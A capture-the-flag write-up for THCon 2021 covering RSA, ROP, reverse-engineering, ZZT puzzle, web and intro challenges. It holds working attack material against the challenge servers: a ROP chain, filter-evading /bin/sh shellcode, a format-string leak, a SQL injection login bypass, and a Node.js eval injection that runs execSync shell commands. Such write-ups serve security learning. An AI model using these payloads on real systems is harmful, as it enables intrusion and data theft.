n = 0x8d926c44899930f8f3fc3ea04cb9dfa7eb309b6d8e932b531007c4d8479e1dd227365087feeced8f854b1b54cc947182ee2241fe526c758e630b44e0c196ce8dc0995124f94755b0601d3454f89f178db2ffb3adeafcac2f49b656aace2acdb63afcd62a8847aadc55ca2452dff8c65ea5bfcfe03411f3b63a2bc4b244126259e2e845c68f8c1cd2d275bd2e344d35da542503c72f153ded14f766efecdfc98605e6963c4b1a7197de9e56b4b61ca1ab648265e6775819935a005a089eff04c27083d385e8d73ebf56b47f875c5fa9984e026914e1cbfc02205e75d02dc0da392700b536bf0fc8decd043736441e69fecc696b2127589f2ac9700e30c4dc88ef
e_a = 0x8095
d_a = 0x21a31ccbce8117f468e9c26e3a404659d585ea166606c85ff192466b8dd4d9650b110addef35e3effdf8cb8710235cf5843e688e977be0d32842e0b4fa493f451ad8d77d35672696cf4373eaa0c0093a6a0baa348f790fc466be559bd90e788505b795026df6e991f6e8769565e06f472a445676e2c99240eccab25cd44433e8a083e66912c7a81c81c190470188c699c1a24dac441956b46aa364623f2c78c4ffca49e89f8a6f6edc51140e744f80a968fa80901fc91b88d491829b334542fd3ef460ddfa9a729d981b0ae9fa12bd0901c919972020b5f9e661b34a914fff85732e45718a2d216018507e7406aed4543096df76ca6fcfa4ab5dd21a84f162fd
e_b = 0x22bb
c = 0x2118ee5b546b529c6b8d8fba1638f046006d7de2c10571d179af958f65d223a9a78df91daa5913f39f97d47681e1e10b8c58b6b462caf1fd56c683129ea732927cf55a06441cde5b743d00582569c9bbf43dab3d7b46ddbf03b358ca6ee075bafcc06165efa8592474bf78732dec4433502579338f2b925a922e74704cf19f7dff414a451fbc24b4ace4a9d8a072fb4259ebc8452941eb9f100f1df0cf19d5718088867a17d52d1c3f1fd5f92c9b9c55cbe528fbfd130879c14bde651a9e402f50b851c753e5915882b02a1136b43e015c6d4fd07e48aa05be08e9faf533a763f21d29a9b7fe8f355a8ffcbf11dc96b1069df4e302a3b310ecf39f25300bb375

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
	if b == 0:
		return (1, 0)
	s, t = kago(b, a % b)
	return (t, s - (a // b) * t)

x = e_a * d_a
key = "0x544843323032317b"

for i in range(1 << 11, 1 << 13):
	if (x - 1) % i == 0:
		candidate = (x - 1) // i
		if x % candidate == 1:
			d_candidate, _ = kago(e_b, candidate)
			if (d_candidate * e_b) % candidate == 1:
				decrypted = pow(c, d_candidate, n)
				hex_d = hex(decrypted)
				if True or hex_d[0:len(key)] == key:
					print ("i = " + str(i))
					print("candidate = " + str(candidate))
					print(hex(decrypted))
```

</div></details>

This program outputs the results in hexadecimal, so I converted them to string via "From Hex" in [CyberChef](https://gchq.github.io/CyberChef/).

```
THCon21{coMm0n_m0duLus_wh1th_int3rn4l_aTt4ck3r}
```

## pwn

### Babyrop

Information to connect to a TCP server and an ELF file running there were given.
I disassembled the ELF file via `objdump` from TDM-GCC, and found that it executes the following function:

<details><summary>The function executed</summary><div>

```
0000000000401196 <main_function>:
  401196:	f3 0f 1e fa          	endbr64 
  40119a:	55                   	push   %rbp
  40119b:	48 89 e5             	mov    %rsp,%rbp
  40119e:	48 83 ec 20          	sub    $0x20,%rsp
  4011a2:	48 8d 3d 79 0e 00 00 	lea    0xe79(%rip),%rdi        # 402022 <_IO_stdin_used+0x22>
  4011a9:	e8 c2 fe ff ff       	callq  401070 <puts@plt>
  4011ae:	48 8b 15 ab 2e 00 00 	mov    0x2eab(%rip),%rdx        # 404060 <stdin@@GLIBC_2.2.5>
  4011b5:	48 8d 45 e0          	lea    -0x20(%rbp),%rax
  4011b9:	be 00 01 00 00       	mov    $0x100,%esi
  4011be:	48 89 c7             	mov    %rax,%rdi
  4011c1:	e8 ba fe ff ff       	callq  401080 <fgets@plt>
  4011c6:	90                   	nop
  4011c7:	c9                   	leaveq 
  4011c8:	c3                   	retq   
```

</div></details>

This function prints some strings via `puts` and read at most 0x100 bytes in a 0x20-byte region via `fgets`.
Also, there was the `execve` function (0x401090) in the `.plt.sec`.

Also, the binary file had a string `/bin/sh` from the 0x201A-th byte (the first byte is 0th).

```
This might be useful: /bin/sh
```

The name of the challenge was suggesting that I should do some ROP.
Something useful should happen when I succeed to execute `execve("/bin/sh", 0, 0)`.
Searching for the gadgets, I found:

```
12c3 : pop rdi; ret
12c1 : pop rsi; pop r15; ret
```

But I couldn't found gadgets to write values to `rdx`, which is used as the 3rd argument.
Trying on the GDB in [CS50 IDE](https://ide.cs50.io/), `0` looked stored to `rdx` even when I didn't put it explicitly, so I decided to omit setting of `rdx` and send some data to the server.

I sent this data via [TCP/IPテストツール](http://nonsoft.la.coocan.jp/Download/SocketTool/index.html) (Japanese page and software):

```
0123456789abcdef0123456789abcdef (some random data to fill the region)
########                         (some random data for previous RBP)
<c3><12><40><00><00><00><00><00> (the address of pop rdi; ret)
<1a><20><40><00><00><00><00><00> (the value to put in rdi)
<c1><12><40><00><00><00><00><00> (the address of pop rsi; pop r15; ret)
<00><00><00><00><00><00><00><00> (the value to put in rsi)
<00><00><00><00><00><00><00><00> (the value to put in r15)
<90><10><40><00><00><00><00><00> (the address of the function execve)
<LF>                             (have the function fgets finish reading)
```

In one line:

```
0123456789abcdef0123456789abcdef########<c3><12><40><00><00><00><00><00><1a><20><40><00><00><00><00><00><c1><12><40><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><90><10><40><00><00><00><00><00><LF>
```

(`<xx>` means a byte with the hexadecimal value and `<LF>` means a byte 0x0A)

The shell became available after sending this.
I got the flag via a command `cat flag.txt`.

```
THCon21{4Ll_0f_Th47_t0_c0ntR0L-RDx?!??}
```

## reverse

### ELF x64 - Right on Time

An ELF file was given.
I disassembled that via `objdump` from TDM-GCC and examined the result, finding that the `main` function does the following:

1. Put some data on the stack in a random order via `movb` instruction.
2. Obtain the currant time via the function `time` and invert (bitwise NOT) the lower 32 bits.
3. Convert the first command-line argument to an integer via the `atoi` function.
4. If the result and 2 and 3 are the same, print some string as "the flag".

I obtained the data put via the `movb` instructions from the disassembling result.
It consisted of these three data, delimited by a 0x00 byte:

```
4B5A4357515244434749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D
n*ICE-4uRVZ}}6TuqY&x-i+h%*Z8_@B`OhEy=T3|PeQ.Hmo>v)CuI/gkSx|%m7Xzz5eBPpkk5wU4nvMZdM(LS>nl_cIINw5Hdpsv;MU$+ktdCam{D1k>*lnZZ$qe:x`]>6M-St(r)@|M}j{$f6t>443O(/b{0I?-A9PqMm$eU!Z[-Bx$V@65QIaeTuD)cX1CX>gZG@<4`-3^!taoob:+W. 9H
6
```

<details><summary>A program to obtain the data</summary><div>

```parse.pl
#!/usr/bin/perl

use strict;
use warnings;

my @data = ();

while (my $line = <STDIN>) {
	if ($line =~ /movb +\$(0x[0-9a-fA-F]+),-(0x[0-9a-fA-F]+)\(\%rbp\)/) {
		push(@data, "$2\t$1");
	}
}

my @data_s = sort {
	my ($a1, $a2) = split(/\t/, $a);
	my ($b1, $b2) = split(/\t/, $b);
	return hex($b1) <=> hex($a1);
} @data;

my @ress = ();
my $res = "";

for (my $i = 0; $i < @data_s; $i++) {
	print "$data_s[$i]\n";
	my ($pos, $value) = split(/\t/, $data_s[$i]);
	my $ivalue = hex($value);
	if ($ivalue == 0) {
		push(@ress, $res);
		$res = "";
	} else {
		$res .= chr($ivalue);
	}
}

push(@ress, $res);

for (my $i = 0; $i < @ress; $i++) {
	print "$ress[$i]\n";
}
```

</div></summary>

The string that begins with `4B5A` was printed as "the flag".
I applied "From Hex" and "Magic" on [CyberChef](https://gchq.github.io/CyberChef/) to the string and got the flag.

The Recipe displayed for Magic was:

```
From_Base32('A-Z2-7=',false)
From_Base64('A-Za-z0-9+/=',true)
```

```
THCon21{U7JGLvXkYskPK07T8J0BVCgYsadTf69F}
```

### ELF x64 - BaseJumper CrackMe

An ELF file was given.
I disassembled that via `objdump` from TDM-GCC, seeing many `movb` instructions that looked similar to ones in the challenge ELF x64 - Right on Time.

I obtained the data in the way I did in the challenge and got these strings:

```
4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D
@^TfvjUZ/<Br2N[a*x#5iPB6wFk7=^#>[^zQ.:L($#2gZ{@#}8L4sT!QmZ@Zoz3v!;^3,B9M@Mg.:. y0$-utkB4kL^js;TB(XAf%g[j YMF}=nh0=0zbex <o]y9lr;|fSlk`G?:Wx^B,YRz+rv]23kq8Qro>[5GXMQL?9U}3B% W1-;=^~&nhHg,i;<XDM5:~odeLj@~o*OA{OW})1gu
K
```

I applied "From Hex" and "Magic" on [CyberChef](https://gchq.github.io/CyberChef/) to the string just as I did for the challenge, and I got the flag.

```
THCon21{QKSSmE7I8GlSHYmOYHMxIv9okULEPMIU}
```

### TUR-ROX-Z

A file `THCON21Z.ZZT` was given.

I launched the game like I did in the challenge TUR-ROX-Y, and this screen was presented:
![The initial screen](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/342b32a9-a4dd-ca89-8e2c-70eafd412459.png)
The right white person told me that there is an integrated level editor.
The upper yellow person told me that the whole universe will be rolled back if I fail to find the flag.

Going up, this screen was presented:
![The screen for up](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/25ebd682-aff3-652d-a6c9-989e1bfab2e9.png)
Going left, this screen was presented:
![The screen for left](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/2466cdbd-3ef6-1a2e-bac3-429a9e3fc02d.png)
Going left further, this screen was presented:
![The screen for further left](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/4e86425f-cda9-02ce-70be-7fde7928b1ca.png)

Now it looked like I should solve the puzzle in the upper screen.
Then, I thought about the information that there is an integrated level editor, and that a reference for the language is introduced.
Jumping to the conclusion, it was helpful to solve the puzzle to open the upper screen in the editor, watching the settings and modifying the screen.

The `?` in the center of screen can be made accessible by erasing the yellow walls around them.
This enables us to watch the status.
The editor revealed that there are some hidden walls and an object in the black rectangle surrounded by the red walls in the right, so I modified them so that I can see them.
Also I read the programs assigned to the `!`, upside-down `!`s, and the face on the left.

In the blue part, pushing the upside-down `!` in the left increments the number of Gem by one.
First push of the upside-down `!` in the right decreases the number of Gem by 4, and it becomes to the successful state when the number of Gem is zero on the second push.
This means I should push the left one 4 times, and then push the right one 2 times.

In the red part, pushing the upside-down `!` in the left moves the object in the rectangle in the right up by one unit, and pushing one in the right moves that right by one unit.
Using them, moving the object to the end will lead to the successful state.
In other words, I should push the left one 2 times, the right one 4 times, the left one 2 times, and the right one 2 times.

In the green part, I requested to read and understand the program, referring to the reference.
Pushing the upside-down `!` in the left has it execute  `#zap Checker12:lblMulti`.
Pushing the upside-down `!` in the right has it execute  `#restore Checker12:lblMulti`.
Pushing the face in the left has it send `lblMulti` to `Checker12`.
`Checker12` is the upper `!`, and the following program is assigned to that:

<details><summary>The program for `Checker12`</summary><div>

```
@Checker12
#end

:lblMulti
#set flagOkA1
#zap lblMulti
#send lblMulti
' "set OK A1"
#end

:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
#set flagFailA
' "pwnz 2 zzzz
#send GlobCheck:lblBack12
#end

:lblMulti
#set flagOkA2
' "gg  !"
#send GlobCheck:lblBack12
#end

:lblMulti
:lblMulti
#set flagFailA
' "pwnz last"
#send GlobCheck:lblBack12
#end
```

</div></details>

The reference tells me that `#zap` will disable one label (a line that begins with `:`) by turning it into a comment, and that `#restore` will have one disabled label revive.

As a conclusion, it executed both of `#set flagOkA1` and `#set flagOkA2`, turning it to the successful state by doing the following:

1. Expose `:lblMulti` before `#set flagOkA2` by pushing the upside-down `!` in the left 7 times.
2. Push the upside-down `!` in the right once and recover the first `:lblMulti`.
3. Drive the other part to a proper status and press the face in the left.

Finally, the goal was the following status.
The flag was obtained by combining the information in the first screen and positions of each upside-down `!`s.

![The goal](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/11e988b2-19e5-8ad7-b30a-abe4692119ce.png)

```
THCon21{Z824753}
```

### TUR-ROX-Y

A file `THCON21Y.ZZT` was given.

Firstly I googled "zzt" and found that it is a game for MS-DOS.

[ZZT - Wikipedia](https://en.wikipedia.org/wiki/ZZT)
It was available in:
The game: [GitHub - asiekierka/reconstruction-of-zzt: The Reconstruction of ZZT](https://github.com/asiekierka/reconstruction-of-zzt)
An emulator to run the game: [zeta](https://zeta.asie.pl/)
We can launch the game after putting the files for the game and the file from the challenge in the directory where zeta is extracted to.

Launching the game, this screen was presented:
![The initial screen](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/9769aac6-91d4-6347-4ed0-2679942be440.png)
Going right, this screen was presented:
![The screen for right](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/930d87ed-caf6-3a35-63d4-137dc4d98066.png)
Going up, this screen was presented. The screen was destructed after a while.
![The screen for up](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/52e48e54-030b-6bb3-be7c-58e1a30bedfa.png)
Going down, this screen was presented. The information about hash was destructed after a while.
![The screen for left](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/3b104c9f-695e-941b-7302-4b387530928a.png)
Going left from here, there were 26 pages of code like this:
![A screen with a part of code](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/3647d584-2702-968a-fcd5-6f3a9babf8c0.png)
I managed to copy the code (PuzzleScript) by seeing and typing.

Considering the information in the down screen, I opened
[PuzzleScript - an open-source HTML5 puzzle game engine](https://www.puzzlescript.net/)
and pressed "Make A game". Then I pasted the code to the left part of the page and pressed "RUN" in the upper part.
It launched another game.
In this game, toggling the eight switches changed the five pictures.
The goal was making all the five pictures purple by setting the switches to the right state.
I managed to solve the first level by manual trial-and-error, but the second level looked tough.
Seeing this, I created a program with [Hot Soup Processor](https://www.onionsoft.net/hsp/v36en/index.htm) to automate the operation of the keyboard and to brute-force the switches.
I used the [Gray code](https://en.wikipedia.org/wiki/Gray_code), using which we can proceed to the next state by toggling only one bit, to save the cost of toggling.

<details><summary>The program for brute-forcing (automating the operation)</summary><div>

Launch this program after moving the player character under the rightmost switch,
and set up to have the key operation routed to the game in 3 seconds, to use this program.

```bruteforce.hsp
#include "hspext.as"

gsel 0, 2

mes "start after 3 sec."
wait 300

aplfocus

KEY_LEFT = 37
KEY_UP = 38
KEY_RIGHT = 39

x = 7
value = 0

for i, 0, 256, 1
	target = i ^ (i >> 1)
	for j, 0, 8, 1
		if (((target ^ value) >> (7 - j)) & 1) != 0 {
			while x > j
				aplkey KEY_LEFT
				x = x - 1
				wait 1
			wend
			while x < j
				aplkey KEY_RIGHT
				x = x + 1
				wait 1
			wend
			aplkey KEY_UP
			wait 1
		}
	next
	value = target
	title strf("%3d", i) + " / " + strf("%02X", target)
	wait 50
next
```

</div></details>

This game had three levels. The goal of each levels were:

|1st level|2nd level|3rd level|
|:-:|:-:|:-:|
|![1st level](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/39e4b669-051b-1f86-7d9d-57c0c0d0704b.png)|![2nd level](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/da1699e9-2102-fe0c-dbb3-342af9bf2c47.png)|![3rd level](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/45b8995b-efd1-9223-9d34-ca807361170b.png)|


I obtained the flag by combining information corrected like this, following instructions from the games:

* The initial screen: `THCon21{Y...}`
* The two digits of the SHA-256 hash value of the PuzzleScript (LF for newlines, no newline at the end): `THCon21{-95----}`
* What was presented when the 2nd level was solved: `THCon21{---E5--}`
* What was presented when the 3rd level was solved: `THCon21{-----CD}`

```
THCon21{Y95E5CD}
```

## Windows

Unfortunately I could solve no problems in this category.

## steganography

Unfortunately I could solve no problems in this category.

## web

### Unsafe Math

An URL for a web page and a server program `index.js` for that page were given.
The page had input fields for `width` and `height` (`type="number"`) and a "Submit" button.
The program `index.js` checks if both of `width.length` and `height.length` are not more than 10 and return the evaluation result of `eval('(' + width + '**2 + ' + height + '**2) ** (1/2);')` when some data is sent via POST.

As I learned from ["GETS Request" in San Diego CTF 2021](https://github.com/acmucsd/sdctf-2021/tree/main/web/gets-request), the `length` property can be set to `1` by passing arrays and the check can be bypassed.

Using [the `execSync` function](https://nodejs.org/api/child_process.html#child_process_child_process_execsync_command_options), we can execute commands and retrieve their results.

I did some investigation using this for executing commands.
Firstly, using the developer tools in Firefox, I changed

```html
<input name="width" type="number" min="0">
```

to

```html
<input name="width[]" type="text" min="0">
```

I succeed to obtain the result of `ls /` by putting

```
require('child_process').execSync("ls /")).toString() + (1
```

to the field and `1` to the `height` field and pressing the "Submit" button.
`1` is put to the `height` field in the following queries.

As the result contained `chall`, I put

```
require('child_process').execSync("ls /chall")).toString() + (1
```

to the `width[]` field and pressed the "Submit" button, obtaining the result of `ls /chall`.

Seeing `sec9et_fl46.txt`in the result, I put

```
require('fs').readFileSync("/chall/sec9et_fl46.txt", "utf-8")).toString() + (1
```

to the `width[]` field and sent that to read the file and to obtain the flag.
This is used for file reading: [File system | Node.js v16.3.0 Documentation](https://nodejs.org/api/fs.html#fs_fs_readfilesync_path_options)

```
THCon21{t34cHiN6_1s_N0t_sO_3@sY}
```

## app script

Unfortunately I could solve no problems in this category.

## programmation

### Living QR Code

A file `living_QR.gif` was given. It was an animated GIF.

I opened that with [Giam](https://www.vector.co.jp/soft/win95/art/se041233.html) (Japanese page and software), finding that there are 41 frames and each of them had one QR Code.
I read them via [Psytec QR Code Editor](http://www.psytec.co.jp/docomo.html) (Japanese page and software) to read them one-by-one manually and lined up the results, obtaining the flag.

```
THCon21{Ba5ukumqmZIVJ2onznXkfY61YS7Cxdi6}
```

"QR Code" is a registered trademark of DENSO WAVE INCORPORATED.

## Intro

### Welcome

An invitation link for Discord was given.
I joined to the server via my Web browser and searched for the flag.
I found the flag on the upper part of the screen and after the "This is the start" message in the channels `#📄-règles` and `#📄-rules`.
The flag was displayed in a copy-able way after clicking the upper part.

```
THCon21{H31l0_th3re!}
```

### SQL for dummies

An URL for a web page was given.
The page had a form consists of:

* A field for Username
* A field for Password
* A "Log In" button

The flag was displayed after hitting the "Log In" button, entering `' or 1=1 --` as the Username and `a` as the Password.

```
THCon21{eA3y*QL_1nject0R}
```

### My first one time pad

The following files `plaintext.txt` and `encrypted.txt` were given.

```plaintext.txt
I encrypted a secret flag with one time pad, the result here: 092224674e49392d631f0f5611124274193157441a2e5c2d494e1c1c2d560b204751
```

```encrypted.txt
064e004e171b141554150544414900450a1c4500480303131e00070c060e450c1a49003d491e0d4f050d000c48151e000007161655181c45480e171c1a4f
```

The challenge description said:

> I encrypt my flag with a secret key, unfortunately I also encrypted the whole file with the same key could you retrieve the flag ?

Encryption in one-time pad should be an exclusive-or of the plain-text and the key, so we can obtain the key by calculating the exclusive-or of the cipher-text and the plain-text.

I obtained the flag via [CyberChef](https://gchq.github.io/CyberChef/).
I put the contents of `plaintext.txt` as the Input and performed:

1. XOR using the contents of `encrypted.txt` as the Key (HEX)
2. XOR using the contents after `the result here:` in the `plaintext.txt` as the Key (HEX)

```
THCon21{1Tp_w0rK3_0nly_0nC3}
```

### Blacklisted

Information for connecting to a TCP server and an ELF file running there were given.
I disassembled the ELF file via `objdump` from TDM-GCC and read that, finding that it is performing the following:

1. Print some message
2. Read some input via the `read` function
3. Copy what it read via the `strncpy` function
4. Test the copy of what it read via `check_blacklist` function
5. If it passes the test, execute the copy of what is read via the `callq` instruction

Also, I found these strings by viewing the ELF file in a binary editor:

```
/bin/
/tmp/
flag.txt
sh
[-] Error while allocating shellcode area
Please feed me (%d bytes max): 
[-] Error while reading input.
```

This suggested me that I should enter a shell-code and that input that contains one of `/bin/`, `/tmp/`, `flag.txt`, or `sh` will be rejected.
Also it is worth noting that input that contain a 0x00 byte will be truncated because the `strncpy` function is used.

Considering these, I obtained an access to the shell by assembling the following shellcode via [NASM](https://www.nasm.us/) and sending that via Send File (Paste content of file) (Binary) on [Tera Term](https://ttssh2.osdn.jp/index.html.en).
After that, I obtained the flag by executing a command `cat flag.txt`.

<details><summary>The shell-code</summary><div>

```shellcode.asm
bits 64
mov rax, 0x2F62696E2F736820 ; /bin/sh
sub rax, 0x20
bswap rax
push rax
mov al, 59
movzx eax, al
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall
```

Assembled:

```
48 b8 20 68 73 2f 6e 69 62 2f 48 83 e8 20 48 0f
c8 50 b0 3b 0f b6 c0 48 89 e7 31 f6 31 d2 0f 05
```

</div></details>

```
THCon21{w3ll_s0_y0u_sp34K_P4r53l70ngu3??}
```

### Clairvoyance

Information for connecting to a TCP server and an ELF file running there were given.
I disassembled the ELF file via `objdump` from TDM-GCC and read that, finding that it is performing the following:

1. Call the `read_flag` function and load the contents of the file `flag.txt` to the memory at 0x404080
2. Call the `fgets` function to read at most 0x1f bytes on the stack
3. Call the `fgets` function to read at most 0x7 bytes on the stack
4. Pass what is read in 2 as the 1st argument of the `printf` function if what is read in 3 is `yes`

Putting this

```
%p%p%p%p%p%p%p%p%p%p%p%p%p%p
```

for the 2nd step, I got the following output (newlines are added for readability):

```
0x7fff68c0a370
0x7fc2287088c0
(nil)
0x1f
0x7fc2287088d0
0x7fff68c0cb38
0x100401365
0x7fc22871cb40
0xa736579
0x7025702570257025
0x7025702570257025
0x7025702570257025
0xa70257025
0x401320
```

Note that what is entered is printed from the 10th output.
What is entered is placed on the stack and it overlaps with where the `printf` function reads what to print from.

Keeping in mind that the printing ends at a 0x00 byte because the 1st argument of the `printf` is a string, I sent this via [TCP/IPテストツール](http://nonsoft.la.coocan.jp/Download/SocketTool/index.html) (Japanese page and software) and obtained the flag:

```
%11$s###<80><40><40><00><00><00><00><00><LF>
```

(`<xx>` means a byte with the hexadecimal value and `<LF>` means a byte 0x0A)

```
THCon21{y0u_jUsT__n33d_t0_0p3n_Y0uR_3y35!}
```